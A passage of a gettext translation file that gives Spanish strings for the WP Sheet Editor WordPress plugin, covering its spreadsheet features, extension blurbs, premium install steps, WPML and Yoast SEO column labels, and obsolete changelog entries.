                  It is the best way to manage your comments, WooCommerce customer " "reviews, event reviews, testimonials, and order notes in a spreadsheet. You " "can make advanced searches by any field (keyword, order note, status, find " "comments by post type, and all the fields). You can bulk edit them, delete " "all at once, export them to excel or external systems, import comments and " "reviews from other systems, and more.

                  " msgstr "" "

                  Es la mejor manera de gestionar tus comentarios, las valoraciones de los " "clientes de WooCommerce, los comentarios de los eventos, los testimonios y " "las notas de pedido en una hoja de cálculo. Puedes hacer búsquedas avanzadas " "por cualquier campo (palabra clave, nota de pedido, estado, encontrar " "comentarios por post type, y todos los campos). Puedes editarlos " "masivamente, borrarlos todos a la vez, exportarlos a Excel o a sistemas " "externos, importar comentarios y reseñas de otros sistemas, y más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:304 msgid "Custom Database Tables Spreadsheet" msgstr "Hoja de Cálculo de Tablas de Bases de Datos Personalizadas" #: wp-sheet-editor/dev/wp-sheet-editor.php:307 msgid "" "

                  One Spreadsheet for Every Custom Database Table added by other plugins. " "Live edit in the cells, Bulk Edit, Make advanced searches by any field, " "export and import, bulk delete, move information between sites, edit " "thousands of items, and more.

                  " msgstr "" "

                  Una hoja de cálculo para cada tabla personalizada encontrada en tu base " "de datos, incluyendo tablas agregadas por otros plugins. Edita en vivo. Haz " "ediciones masivas en miles de filas. Haz búsquedas avanzadas. Exporta. " "Importar. Eliminar filas en lotes. Y mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:319 msgid "Easy Digital Downloads Spreadsheet" msgstr "Hoja de Cálculo de Easy Digital Downloads" #: wp-sheet-editor/dev/wp-sheet-editor.php:322 msgid "" "

                  View all the EDD products in a spreadsheet, create downloads and files " "in bulk, edit hundreds of products at once using formulas, Advanced searches " "using multiple fields, etc.

                  " msgstr "" "

                  Ver todas las descargas de Easy Digital Downloads en una hoja de cálculo. " "Crear descargas y archivos masivamente. Editar cientos de productos a la vez " "usando fórmulas. Búsquedas avanzadas usando múltiples campos. Y mucho más." #: wp-sheet-editor/dev/wp-sheet-editor.php:333 msgid "Events Spreadsheet" msgstr "Hoja de Cálculo de The Events Calendar" #: wp-sheet-editor/dev/wp-sheet-editor.php:336 msgid "" "

                  View all the events in a spreadsheet, create events in bulk, edit " "hundreds of events at once using formulas, Advanced searches using multiple " "event fields, etc.

                  " msgstr "" "

                  Ver todos los eventos del plugin The Events Calendar en una hoja de " "cálculo. Crear eventos masivamente. Editar cientos de eventos a la vez " "usando fórmulas. Búsquedas avanzadas usando múltiples campos de eventos. Y " "mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:347 msgid "Give Spreadsheet" msgstr "Hoja de Cálculo de GiveWP" #: wp-sheet-editor/dev/wp-sheet-editor.php:350 msgid "" "

                  This includes spreadsheets to manage Donation Forms, Donations, and " "Donors. You can bulk edit, export, import, and quickly manage your donations " "website created with GiveWP

                  " msgstr "" "

                  Hojas de cálculo para gestionar Formularios de Donación, Donaciones y " "Donantes del plugin GiveWP. Puedes editar en masa, exportar, importar y " "gestionar rápidamente tu sitio web de donaciones.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:361 msgid "Display the spreadsheet editor in the frontend" msgstr "Mostrar el editor de hojas de cálculo en el frontend" #: wp-sheet-editor/dev/wp-sheet-editor.php:364 msgid "" "

                  Create new spreadsheets with custom columns and Share the Spreadsheets " "with your Users or Employees on the Frontend. Useful for marketplaces where " "vendors should edit products in the spreadsheet, allow post or event " "submissions on the Frontend, events directories, Web Apps, Custom " "Dashboards, etc.

                  " msgstr "" "

                  Crea nuevas hojas de cálculo con columnas personalizadas y comparte las " "hojas de cálculo con tus usuarios o empleados en el frontend. Es útil para " "los mercados donde los vendedores deben editar los productos en la hoja de " "cálculo, permitir el envío de entradas o eventos en el frontend, directorios " "de eventos, aplicaciones web, tableros personalizados, etc.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:374 msgid "WooCommerce - Products Integration" msgstr "Integración con Productos WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:377 msgid "" "

                  Edit WooCommerce products in the spreadsheet. It supports all kinds of " "products, including Variable Products, Downloadable Products, External " "Products, Simple Products. You can edit all product fields in the " "spreadsheet, including attributes, images, etc.

                  " msgstr "" "

                  Editar productos de WooCommerce en la hoja de cálculo. Soporta todo tipo " "de productos, incluyendo Productos Variables, Productos Descargables, " "Productos Externos, Productos Simples. Puedes editar todos los campos de " "productos en la hoja de cálculo, incluyendo atributos, imágenes, etc.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:386 msgid "Custom post types" msgstr "Tipos de post personalizados" #: wp-sheet-editor/dev/wp-sheet-editor.php:389 msgid "" "

                  Edit restaurant menus, courses, projects, portfolios, and all custom " "post types.

                  " msgstr "" "

                  Editar menús de restaurantes, cursos, proyectos, portafolios, y todos " "los post types personalizados.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:396 msgid "Columns renaming" msgstr "Renombrar columnas" #: wp-sheet-editor/dev/wp-sheet-editor.php:399 msgid "" "

                  You can rename the columns of the spreadsheet.
                  Example. Instead of " "showing “Post author” on the spreadsheet, you can change it to “Uploaded by”." "

                  " msgstr "" "

                  Puedes cambiar el nombre de las columnas de la hoja de cálculo. En lugar " "de mostrar \"Autor\" en la hoja de cálculo, puedes cambiarlo a \"Subido " "por\".

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:400 #: wp-sheet-editor/dev/wp-sheet-editor.php:412 #: wp-sheet-editor/dev/wp-sheet-editor.php:505 #: wp-sheet-editor/dev/wp-sheet-editor.php:533 msgid "Install for Free" msgstr "Instalar Gratis" #: wp-sheet-editor/dev/wp-sheet-editor.php:408 msgid "YOAST SEO" msgstr "YOAST SEO" #: wp-sheet-editor/dev/wp-sheet-editor.php:411 msgid "" "

                  Edit SEO title, description, keyword, and SEO score in spreadsheet

                  " msgstr "" "

                  Editar el título, la descripción, la palabra clave y la puntuación de " "SEO en la hoja de cálculo

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:420 msgid "Advanced Search" msgstr "Búsqueda Avanzada" #: wp-sheet-editor/dev/wp-sheet-editor.php:423 msgid "" "

                  Find posts by keyword, taxonomies, author, date, status, or custom " "fields.

                  Search in multiple fields with advanced operators: =, !=, " "<, >, LIKE, NOT LIKE

                  Examples: Find products from category Audio " "with stock < 20, or products from category Apple without featured image, or " "products containing the keyword \"Google\" without image gallery.

                  " msgstr "" "

                  Buscar entradas por palabra clave, taxonomías, autor, fecha, estado o " "campos personalizados.

                  Buscar en múltiples campos con operadores " "avanzados: =, !=, <, >, LIKE, NOT LIKE

                  Ejemplos: Encontrar " "productos de la categoría Audio con inventario < 20, o productos de la " "categoría Manzana sin imagen destacada, o productos que contengan la palabra " "clave \"Google\" y que no tengan galerías de imágenes.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:430 msgid "Formulas" msgstr "Fórmulas" #: wp-sheet-editor/dev/wp-sheet-editor.php:433 msgid "" "

                  Edit Hundreds of Posts at Once with just a few clicks. Search and " "replace, Replace urls and phrases, save values to fields in bulk, copy " "values between fields, merge fields, etc..

                  Examples: Copy regular " "price to sale price, update product attributes names, etc.

                  " msgstr "" "

                  Editar cientos de entradas a la vez con unos pocos clics. Buscar y " "reemplazar. Reemplazar URLs y frases. Guardar valores en campos masivamente. " "Copiar valores entre campos. Combinar campos. Y mucho más.

                  Ejemplos: " "Copiar el precio normal al precio de rebajado, actualizar los nombres de los " "atributos de los productos, etc.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:440 msgid "Math Formulas" msgstr "Fórmulas matemáticas" #: wp-sheet-editor/dev/wp-sheet-editor.php:443 msgid "" "

                  Edit Hundreds of Posts at Once. Update numeric fields using advanced " "math formulas. Example, increase prices by 10% , manage inventory , etc. Run " "any math formula.

                  You can use multiple fields in the formula, for " "example, \"Regular price x Inventory / Sales price

                  " msgstr "" "

                  Editar cientos de entradas a la vez. Actualizar campos numéricos usando " "fórmulas matemáticas avanzadas. Por ejemplo, aumentar los precios en un 10%, " "gestionar el inventario, etc. Ejecutar cualquier fórmula matemática.

                  Puedes utilizar varios campos en la fórmula. Por ejemplo, \"Precio " "normal x Precio de inventario / Precio rebajado

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:450 msgid "Advanced Custom Fields" msgstr "Advanced Custom Fields" #: wp-sheet-editor/dev/wp-sheet-editor.php:453 msgid "" "

                  Advanced Custom Fields metaboxes appear in the Spreadsheet " "Automatically. So you can edit custom fields easily.

                  " msgstr "" "

                  Los campos creados con el plugin Advanced Custom Fields aparecen en la " "hoja de cálculo automáticamente. Así que puedes editar campos personalizados " "fácilmente.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:460 msgid "Edit Custom Fields in Spreadsheet" msgstr "Editar Campos Personalizados en una Hoja de Cálculo" #: wp-sheet-editor/dev/wp-sheet-editor.php:463 msgid "" "

                  You can create columns for custom fields.
                  Edit page settings added " "by your theme, event details, products information, etc.

                  " msgstr "" "

                  Puedes crear columnas para campos personalizados.
                  Editar la " "configuración de la página añadida por el tema, los detalles del evento, la " "información de los productos, etc.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:470 msgid "Edit Posts and Pages in Spreadsheet" msgstr "Editar Entradas y Páginas en una Hoja de Cálculo" #: wp-sheet-editor/dev/wp-sheet-editor.php:473 msgid "

                  Edit default post fields in spreadsheet.

                  " msgstr "

                  Editar campos de entradas por defecto en una hoja de cálculo.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:481 msgid "WooCommerce - BASIC integration" msgstr "WooCommerce - Integración BASICA" #: wp-sheet-editor/dev/wp-sheet-editor.php:484 msgid "" "

                  You can edit simple products only. Available columns: title, url, " "description, date, SKU, regular price, sale price, stock status, manage " "stock, stock quantity.

                  More columns and product types available as " "premium extension.

                  " msgstr "" "

                  Sólo puedes editar productos simples. Columnas disponibles: título, URL, " "descripción, fecha, SKU, precio normal, precio rebajado, estado de " "inventario, gestión del inventario, cantidad de existencias.

                  Más " "columnas y tipos de producto disponibles como extensión premium.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:492 msgid "Columns visibility" msgstr "Visibilidad de las columnas" #: wp-sheet-editor/dev/wp-sheet-editor.php:495 msgid "

                  You can show, hide, and sort columns in the spreadsheet.

                  " msgstr "" "

                  Puedes mostrar, ocultar y cambiar el orden de las columnas en la hoja de " "cálculo.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:501 msgid "Autofill cells" msgstr "Autocompletar las celdas" #: wp-sheet-editor/dev/wp-sheet-editor.php:504 msgid "" "

                  You can auto fill cells (copy) by dragging the cell corner into other " "cells, as you can do in excel.

                  " msgstr "" "

                  Puedes rellenar automáticamente las celdas (copiar) arrastrando la " "esquina de la celda a otras celdas, como lo haces en Excel.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:512 msgid "Basic search" msgstr "Búsqueda básica" #: wp-sheet-editor/dev/wp-sheet-editor.php:514 msgid "" "

                  Search in the spreadsheet. Find posts by keyword, status, and author.

                  " msgstr "" "

                  Buscar en la hoja de cálculo. Buscar filas por palabra clave, estado y " "autor.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:522 msgid "Columns resizing" msgstr "Redimensionar columnas" #: wp-sheet-editor/dev/wp-sheet-editor.php:524 msgid "" "

                  Resize columns in the spreadsheet and save it for future sessions.

                  " msgstr "" "

                  Puedes cambiar el tamaño de las columnas en la hoja de cálculo y " "guardarlo para sesiones futuras.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:530 msgid "Duplicate (Tool)" msgstr "Duplicar (Herramienta)" #: wp-sheet-editor/dev/wp-sheet-editor.php:532 msgid "" "

                  Add a \"duplicate\" tool to the spreadsheet. You can select one row " "(post, product, coupon, etc.) and create a lot of copies.

                  Example. " "Create 100 products with the same tags, dimensions, attributes, and " "variations. And only change a couple of fields manually.

                  " msgstr "" "

                  Añadir una herramienta de \"duplicar\" a la hoja de cálculo. Puedes " "seleccionar una fila (entrada, producto, cupón, etc.) y crear muchas copias." "

                  Ejemplo: Crear 100 productos con las mismas etiquetas, dimensiones, " "atributos y variaciones. Y sólo cambiar un par de campos manualmente.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:546 msgid "Everything you need for All Posts Types and Products" msgstr "Todo lo que necesitas para todos los post types y productos" #: wp-sheet-editor/dev/wp-sheet-editor.php:553 #: wp-sheet-editor/dev/wp-sheet-editor.php:566 msgid "Buy bundle" msgstr "Comprar el paquete" #: wp-sheet-editor/dev/wp-sheet-editor.php:559 msgid "Everything you need for Users and Customers" msgstr "Todo lo que necesitas para los usuarios y clientes" #: wp-sheet-editor/dev/wp-sheet-editor.php:671 msgid "" "

                  WP Sheet Editor

                  \r\n" "

                  Do you want to install the premium plugin that you " "purchased? Follow these steps:

                  \r\n" "
                    \r\n" "
                  1. If you were using the free version of the plugin " "before the purchase, you need to uninstall the free version now
                  2. \r\n" "
                  3. When you purchased the plugin, you received an email " "with the download link and license key
                  4. \r\n" "
                  5. Now go to this " "page and click on the \"Upload\" button at the top
                  6. \r\n" "
                  7. Upload the premium zip file
                  8. \r\n" "
                  9. Activate the plugin
                  10. \r\n" "
                  11. You will see a screen asking for a license, enter " "your license key
                  12. \r\n" "
                  13. Done. Now you should see the welcome page where you " "can set up the plugin and start using it
                  14. \r\n" "
                  \r\n" "

                  If you need help, you can contact us

                  " msgstr "" "

                  WP Sheet Editor

                  \n" "

                  ¿Quieres instalar el plugin premium que compraste? Sigue " "estos pasos:

                  \n" "
                    \n" "
                  1. Si estabas usando la versión gratuita del plugin " "antes de la compra, necesita desinstalar la versión gratuita ahora.
                  2. \n" "
                  3. Cuando compraste el plugin, recibiste un correo " "electrónico con el enlace de descarga y la clave de licencia.
                  4. \n" "
                  5. ahora ve a esta " "página y haz clic en el botón \"Subir plugin\".
                  6. \n" "
                  7. Sube el archivo zip del plugin.
                  8. \n" "
                  9. Activa el plugin.
                  10. \n" "
                  11. Verás una pantalla solicitándote la licencia. " "Ingresa la licencia.
                  12. \n" "
                  13. Listo. Ahora deberías ver la página de bienvenida " "donde puedes configurar y comenzar a usar el plugin.
                  14. \n" "
                  \n" "

                  Si necesitas ayuda, puedes contactarnos

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:1046 msgid "Quick Answers" msgstr "Respuestas rápidas" #: wp-sheet-editor/dev/wp-sheet-editor.php:1047 msgid "You can read our FAQ with a list of hundreds of questions" msgstr "" "Puedes leer nuestras Preguntas Frecuentes con una lista de cientos de " "preguntas" #: wp-sheet-editor/dev/wp-sheet-editor.php:1051 msgid "Guides and Tutorials" msgstr "Guías y Tutoriales" #: wp-sheet-editor/dev/wp-sheet-editor.php:1052 msgid "We have +200 tutorials and guides on our blog" msgstr "Tenemos CIENTOS de tutoriales y guías en nuestro blog" #: wp-sheet-editor/dev/wp-sheet-editor.php:1057 msgid "Get instant help in the live chat + email support during business hours" msgstr "" "Obtén ayuda instantánea en el chat en vivo + soporte por correo electrónico " "en horas de oficina" #: wp-sheet-editor/dev/wp-sheet-editor.php:1094 msgid "WP Sheet Editor Usage" msgstr "Uso de WP Sheet Editor" #: wpml/inc/post.php:132 wpml/inc/term.php:74 msgid "WPML - Missing translations in these languages" msgstr "WPML - Faltan traducciones en estos idiomas" #: wpml/inc/post.php:132 msgid "" "For example, select \"Spanish\" and \"German\" here and we'll find products " "that don't have spanish translations or german translations." msgstr "" "Por ejemplo, selecciona \"español\" y \"alemán\" aquí y encontraremos " "productos que no tienen traducción al español ni al alemán." #: wpml/inc/post.php:369 wpml/inc/term.php:247 msgid "WPML - Duplicate" msgstr "WPML - Duplicar" #: wpml/inc/post.php:377 wpml/inc/term.php:255 msgid "" "Enter multiple language codes separated by commas and we will create copies " "of the main language. For example: en, es. Existing languages will be " "skipped." msgstr "" "Ingresa los códigos de varios idiomas separados por comas y crearemos copias " "del idioma principal. Por ejemplo: en, es. Los idiomas existentes serán " "omitidos." #: wpml/inc/post.php:389 wpml/inc/term.php:228 msgid "WPML - Translation of" msgstr "WPML - Traducción de" #: wpml/inc/post.php:408 msgid "WPML - Relationship" msgstr "WPML - Relación" #: wpml/inc/post.php:419 msgid "Duplicate from the main language" msgstr "Duplicar desde el idioma principal" #: wpml/inc/post.php:420 msgid "Translate separately" msgstr "Traducir por separado" #: wpml/inc/post.php:435 wpml/inc/term.php:267 msgid "WPML - Language" msgstr "WPML - Idioma" #: wpml/inc/post.php:446 wpml/inc/term.php:281 msgid "" "You can change the language of this post. If the translation for the new " "language exists, this change will not be applied." msgstr "" "Puedes cambiar el idioma de esta entrada. Si existe la traducción para el " "nuevo idioma, este cambio no se aplicará." #: wpml/inc/post.php:458 msgid "WPML - Translation priority" msgstr "WPML - Prioridad de traducción" #: wpml/inc/term.php:74 msgid "" "For example, select \"Spanish\" and \"German\" here and we'll find terms " "that don't have spanish translations or german translations." msgstr "" "Por ejemplo, selecciona \"español\" y \"alemán\" aquí y encontraremos " "términos que no tienen traducción al español ni al alemán." #: yoast-seo/yoast-seo.php:27 msgid "" "Please update the WP Sheet Editor plugin and all its extensions to the " "latest version. The features of the plugin \"" msgstr "" "Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la " "última versión. Las características del plugin \"" #: yoast-seo/yoast-seo.php:238 msgid "SEO Title" msgstr "Título SEO" #: yoast-seo/yoast-seo.php:260 msgid "SEO Description" msgstr "Descripción SEO" #: yoast-seo/yoast-seo.php:278 msgid "SEO Keyword" msgstr "Palabra clave de SEO" #: yoast-seo/yoast-seo.php:299 msgid "SEO FB title" msgstr "Título SEO para Facebook" #: yoast-seo/yoast-seo.php:315 msgid "SEO FB description" msgstr "Descripción SEO para Facebook" #: yoast-seo/yoast-seo.php:331 msgid "SEO FB image" msgstr "Imagen SEO para Facebook" #: yoast-seo/yoast-seo.php:349 msgid "SEO TW title" msgstr "Título SEO para Twitter" #: yoast-seo/yoast-seo.php:365 msgid "SEO TW description" msgstr "Descripción SEO para Twitter" #: yoast-seo/yoast-seo.php:381 msgid "SEO TW image" msgstr "Imagen SEO para Twitter" #: yoast-seo/yoast-seo.php:399 msgid "SEO Canonical URL" msgstr "URL Canónica de SEO" #: yoast-seo/yoast-seo.php:421 msgid "SEO No Index" msgstr "SEO - No indexar" #: yoast-seo/yoast-seo.php:449 msgid "SEO" msgstr "SEO" #: yoast-seo/yoast-seo.php:474 msgid "SEO Primary %s" msgstr "%s SEO Primario" #~ msgid "Post ID" #~ msgstr "ID" #~ msgid "The cells will display the date in the format: YYYY-MM-DD" #~ msgstr "Las celdas mostrarán la fecha en el formato: AAAA-MM-DD" #~ msgid "Generated formula:" #~ msgstr "Fórmula generada:" #~ msgid "Execute formula on future posts automatically (Advanced users only)" #~ msgstr "" #~ "Ejecutar la fórmula en futuros posts automáticamente (Sólo usuarios " #~ "avanzados)" #~ msgid "" #~ "If you mark this option , when you create or update a post in the " #~ "spreadsheet, we will check if the post matches the formula parameters and " #~ "execute the formula automatically on that post. For example. When you " #~ "create a product with category apples we can set the description " #~ "automatically, or when you change the SKU we can update the downloadable " #~ "files URLs automatically." #~ msgstr "" #~ "Si marcas esta opción, cuando crees o actualices un post en la hoja de " #~ "cálculo, comprobaremos si el post coincide con los parámetros de la " #~ "fórmula y ejecutaremos la fórmula automáticamente en ese post. Por " #~ "ejemplo. Al crear un producto con la categoría \"Manzanas\" podemos " #~ "establecer la descripción automáticamente, o al cambiar el SKU podemos " #~ "actualizar las URL de los archivos descargables automáticamente." #~ msgid "Execute on future posts only" #~ msgstr "Ejecutar sólo en futuros posts" #~ msgid "" #~ "Here you can view all the formulas saved for ongoing execution. These " #~ "formulas will be executed on posts matching the filters when they are " #~ "created or updated in the spreadsheet." #~ msgstr "" #~ "Aquí puedes ver todas las fórmulas guardadas para la ejecución en curso. " #~ "Estas fórmulas se ejecutarán en los post que coincidan con los filtros " #~ "cuando se creen o actualicen en la hoja de cálculo." #~ msgid "" #~ "Note. If you want to modify saved formulas you have to delete the formula " #~ "and create it again in the formulas builder." #~ msgstr "" #~ "Nota. Si quieres modificar fórmulas guardadas, tienes que borrar la " #~ "fórmula y crearla de nuevo en el editor de fórmulas." #~ msgid "You haven't saved formulas yet." #~ msgstr "Aun no has guardado fórmulas." #~ msgid "Field to update:" #~ msgstr "Campo a actualizar:" #~ msgid "Formula type:" #~ msgstr "Tipo de fórmula:" #~ msgid "Formula parameters:" #~ msgstr "Parámetros de la fórmula:" #~ msgid "Parameter:" #~ msgstr "Parámetro:" #~ msgid "All" #~ msgstr "Todo" #~ msgid "" #~ "Replace existing value with a random value from this list. Enter the " #~ "values separated with |" #~ msgstr "" #~ "Reemplazar un valor existente con un valor aleatorio de esta lista. " #~ "Ingresa valores separados con |" #~ msgid "" #~ "Note. More than 75 copies at once might overload the server. Do it in " #~ "small batches.
                  You can continue if you think your server can handle it." #~ msgstr "" #~ "Nota. Más de 75 copias a la vez podrían sobrecargar el servidor. Hazlo en " #~ "lotes pequeños.
                  Puedes continuar si crees que tu servidor puede " #~ "manejarlo." #~ msgid "Edit in Google Sheets" #~ msgstr "Editar en Google Sheets" #~ msgid "" #~ "1. Open Google Sheets." #~ "
                  2. Click on \"wp sheet editor\" in the menu
                  3. Enter this link in " #~ "the \"quick access\" option in the Google Sheet sidebar." #~ msgstr "" #~ "1. Open Google Sheets." #~ "
                  2. Click on \"wp sheet editor\" in the menu
                  3. Enter this link in " #~ "the \"quick access\" option in the Google Sheet sidebar." #~ msgid "" #~ "Use this link privately for security reasons, this link expires after one " #~ "usage." #~ msgstr "" #~ "Usa este enlace de forma privada por razones de seguridad, este enlace " #~ "expira después de un uso." #~ msgid "JWT is not configurated properly, please contact the admin" #~ msgstr "" #~ "JWT no está configurado correctamente, por favor contacta con el " #~ "administrador" #~ msgid "The quick access link has expired or it does not exist" #~ msgstr "El enlace de acceso rápido ha caducado o no existe" #~ msgid "Note. This works in Google Chrome only." #~ msgstr "Nota. Esto sólo funciona en Google Chrome." #~ msgid "" #~ "Add this code at the beginning of the .htaccess file in the root " #~ "directory of your website. It is required for authenticating requests " #~ "between Google Sheets and WordPress" #~ msgstr "" #~ "Añade este código al principio del archivo .htaccess en el directorio " #~ "raíz de tu sitio web. Es necesario para autentificar las solicitudes " #~ "entre Google Sheets y WordPress" #~ msgid "" #~ "Install the \"WP Sheet Editor\" chrome extension. Install" #~ msgstr "" #~ "Instalar la extensión \"WP Sheet Editor\" en Chrome. Instalar" #~ msgid "" #~ "Open Google Sheets. Click here" #~ msgstr "" #~ "Abrir Google Sheets. Clic aquí" #~ msgid "In Google Sheets > top toolbar. Open the \"WordPress\" option." #~ msgstr "" #~ "En Google Sheets > barra de herramientas superior. Abre la opción " #~ "\"WordPress\"." #~ msgid "" #~ "Copy this access link and paste it in Google Sheets. Get quick access link" #~ msgstr "" #~ "Copia este enlace de acceso y pégalo en Google Sheets. Obtener enlace de acceso rápido " #~ msgid "" #~ "You must use it privately for security reasons, this link expires after " #~ "one usage." #~ msgstr "" #~ "Debes utilizarlo en privado por razones de seguridad, este enlace expira " #~ "después de un uso." #~ msgid "Error 8391. You dont have enough permissions to view this page." #~ msgstr "Error 8391. No tienes suficientes permisos para ver esta página." #~ msgid "Add new posts" #~ msgstr "Añadir nuevos posts" #~ msgid "Deactivate everything. Use the REST API only" #~ msgstr "Desactivar todo. Usar sólo la API REST" #~ msgid "" #~ "If you activate this option we will deactivate all the spreadsheets, " #~ "settings pages, and the entire plugin will become invisible to the user. " #~ "Only the REST API will remain active. This is useful for advanced " #~ "scenarios when you only use our REST API to keep websites synchronized " #~ "with external spreadsheets or systems. When this option is active, our " #~ "settings page will moved under the general settings menu because our " #~ "sheet editor menu will be removed" #~ msgstr "" #~ "Si activas esta opción, desactivaremos todas las hojas de cálculo, " #~ "páginas de configuración y el plugin completo se volverá invisible para " #~ "el usuario. Sólo la API REST permanecerá activa. Esto es útil para " #~ "escenarios avanzados cuando sólo usas nuestra API REST para mantener los " #~ "sitios web sincronizados con hojas de cálculo o sistemas externos. Cuando " #~ "esta opción está habilitada, nuestra página de configuración se moverá " #~ "bajo el menú de configuración general porque nuestro menú de editor de " #~ "hojas será eliminado" #~ msgid "" #~ "The taxonomy columns (i.e. categories, tags) use a limited dropdown by " #~ "default for selecting one term only and the column can be copy pasted. We " #~ "have a fancy dropdown selector, which has better auto complete, allows " #~ "selecting multiple options, etc. but it uses more server resources and it " #~ "doesn't allow copy pasting in these cells. You can activate it here if " #~ "you prefer a better dropdown over the ability to copy paste." #~ msgstr "" #~ "Las columnas de taxonomía (es decir, las categorías, las etiquetas) " #~ "utilizan un menú desplegable limitado por defecto para seleccionar un " #~ "solo término y la columna se puede copiar y pegar. Tenemos un selector " #~ "desplegable de avanzado, que tiene mejor autocompletado, permite " #~ "seleccionar múltiples opciones, etc. pero utiliza más recursos del " #~ "servidor y no permite copiar y pegar en estas celdas. Puedes activarlo " #~ "aquí si prefieres un desplegable mejor que la capacidad de copiar y pegar." #~ msgid "Enable the REST API" #~ msgstr "Habilitar la API REST" #~ msgid "" #~ "The REST API can be used for interacting with our spreadsheet from " #~ "external apps." #~ msgstr "" #~ "La API REST puede utilizarse para interactuar con nuestra hoja de cálculo " #~ "desde aplicaciones externas." #, fuzzy #~| msgid "Parent Spreadsheet:" #~ msgid "Current spreadsheet: %s" #~ msgstr "Hoja Superior:" #~ msgid "0 rows" #~ msgstr "0 filas" #~ msgid "" #~ "New extension - WooCommerce Coupons - View/edit coupons in a spreadsheet. " #~ "Advanced search, Bulk Edit hundreds of coupons, etc. Perfect for the " #~ "christmas season. View Extension)" #~ msgstr "" #~ "Nueva extensión - Cupones WooCommerce - Ver/editar cupones en una hoja de " #~ "cálculo. Búsqueda avanzada, edición masiva de cientos de cupones, etc. " #~ "Perfecto para la temporada navideña. Ver " #~ "Extensión )" #~ msgid "" #~ "New extension - EVENTS - View/edit events, venues, and organizers in a " #~ "spreadsheet. Advanced search, etc. View " #~ "Extension)" #~ msgstr "" #~ "Nueva extensión - EVENTOS - Ver/editar eventos, lugares y organizadores " #~ "en una hoja de cálculo. Búsqueda avanzada, etc. Ver Extensión )" #~ msgid "" #~ "New feature - Added support for Advanced Custom Fields > relationship " #~ "fields. Paid users only. Upgrade)" #~ msgstr "" #~ "Nueva característica - Añadido soporte para Campos Personalizados " #~ "Avanzados > campos de relación. Sólo usuarios de pago . Actualizar)" #~ msgid "" #~ "Improved tools: formulas engine. Now you can make advanced searches and " #~ "apply formulas to the search results. Paid users only. Upgrade)" #~ msgstr "" #~ "Herramientas mejoradas: motor de fórmulas. Ahora puedes hacer búsquedas " #~ "avanzadas y aplicar fórmulas a los resultados de la búsqueda. Sólo " #~ "usuarios de pago . Actualizar)" #~ msgid "" #~ "Improved sheet: Moved settings to a dropdown to simplify the UI and added " #~ "new context menu options" #~ msgstr "" #~ "Hoja mejorada: Se ha movido la configuración a un menú desplegable para " #~ "simplificar la interfaz de usuario y se han añadido nuevas opciones de " #~ "menú contextual" #~ msgid "" #~ "Improved tools: columns visibility. Now you can delete unnecessary " #~ "columns and improved sorting and disable logic" #~ msgstr "" #~ "Herramientas mejoradas: visibilidad de columnas. Ahora puedes eliminar " #~ "columnas innecesarias y mejorar la lógica de ordenación y desactivación" #~ msgid "Fixed more than 13 bugs" #~ msgstr "Arreglados más de 13 bugs" #~ msgid "Improved 7 features" #~ msgstr "7 características mejoradas" #~ msgid "Updated 6 extensions." #~ msgstr "Actualizadas 6 extensiones." #~ msgid "View the entire changelog" #~ msgstr "" #~ "Ver el registro de cambios completo " #~ msgid "Dropdown with predefined options" #~ msgstr "Desplegable con opciones predefinidas" #~ msgid "" #~ "In this page you can select the label for every column displayed in the " #~ "spreadsheet editor. Each post type has its own set of options." #~ msgstr "" #~ "En esta página puedes seleccionar la etiqueta para cada columna mostrada " #~ "en el editor de la hoja de cálculo. Cada tipo de post tiene su propio " #~ "conjunto de opciones." #~ msgid "

                  " #~ msgstr "

                  " #~ msgid "Post type: %s" #~ msgstr "Tipo de Post: %s" #~ msgid "Label for %s?" #~ msgstr "Etiqueta para %s?" #~ msgid "Columns Labels" #~ msgstr "Etiquetas de las columnas" #~ msgid "Enter the new value." #~ msgstr "Ingresa el nuevo valor." #~ msgid "Enter the term(s) to append to the existing term(s)." #~ msgstr "" #~ "Ingresa el término(s) a agregar al final del término(s) existente(s)." #~ msgid "" #~ "For example, if you searched for posts by \"author = Mark\" using the " #~ "search tool, we will export only posts with \"author Mark\"" #~ msgstr "" #~ "Por ejemplo, si buscaste los posts por \"autor = Marcos\" usando la " #~ "herramienta de búsqueda, exportaremos sólo los posts con \"autor Marcos\"" #~ msgid "Post Types" #~ msgstr "Tipos de Post" #~ msgid "" #~ "

                  Security: Now the file upload cells are displayed only to the users " #~ "that have permissions to upload files.

                  " #~ msgstr "" #~ "

                  Seguridad: Ahora las celdas de carga de archivos se muestran sólo para " #~ "los usuarios que tienen permisos para cargar archivos.

                  " #~ msgid "" #~ "

                  Security: Now the private posts and pages are displayed only to the " #~ "users who have permissions to read and edit them.

                  " #~ msgstr "" #~ "

                  Seguridad: Ahora los posts y páginas privadas se muestran sólo a los " #~ "usuarios que tienen permisos para leerlos y editarlos.

                  " #~ msgid "" #~ "

                  Security: Now we don´t allow users to publish posts if they don´t have " #~ "permissions to publish, we save them as drafts.

                  " #~ msgstr "" #~ "

                  Seguridad: Ahora no permitimos que los usuarios publiquen posts si no " #~ "tienen permisos para publicarlos. Los guardamos como borradores.

                  " #~ msgid "

                  Other minor changes.

                  " #~ msgstr "

                  Otros cambios menores

                  " #~ msgid "" #~ "

                  New feature: Now the first column of the spreadsheet is always visible " #~ "while scrolling to the right.

                  " #~ msgstr "" #~ "

